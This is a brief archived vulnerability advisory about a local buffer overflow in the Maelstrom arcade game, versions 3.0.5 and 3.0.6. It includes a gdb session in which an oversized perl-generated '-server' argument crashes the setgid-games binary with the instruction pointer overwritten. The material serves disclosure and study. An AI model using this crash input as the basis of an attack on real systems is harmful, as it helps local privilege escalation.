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TUCoPS :: Linux :: Apps A-M :: bt215.txt

Maelstrom Buffer Overflow

Maelstrom is an arcade game. There is a buffer overflow vulnerability in 

Maelstrom which allow local attacker 

arbitrary code execution.

Vulnerable systems: Maelstrom 3.0.6

		    Maelstrom 3.0.5



[lucae@linux]$ gdb /usr/bin/Maelstrom 

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This GDB was configured as "i586-mandrake-linux-gnu"...

(gdb) set args -server 2@`perl -e 'print "ABCD" x 9999'`

(gdb) r

Starting program: /usr/bin/Maelstrom -server 2@`perl -e 'print "ABCD" x 


Couldn't resolve host name for ABCDABC......ABCD

Program received signal SIGSEGV, Segmentation fault.

0x41444342 in ?? ()

(gdb) Quit

Note: -rwxr-sr-x    1 root     games      171568 19 feb 

03:38 /usr/bin/Maelstrom   in Linux Professional 9.0

Luca Ercoli

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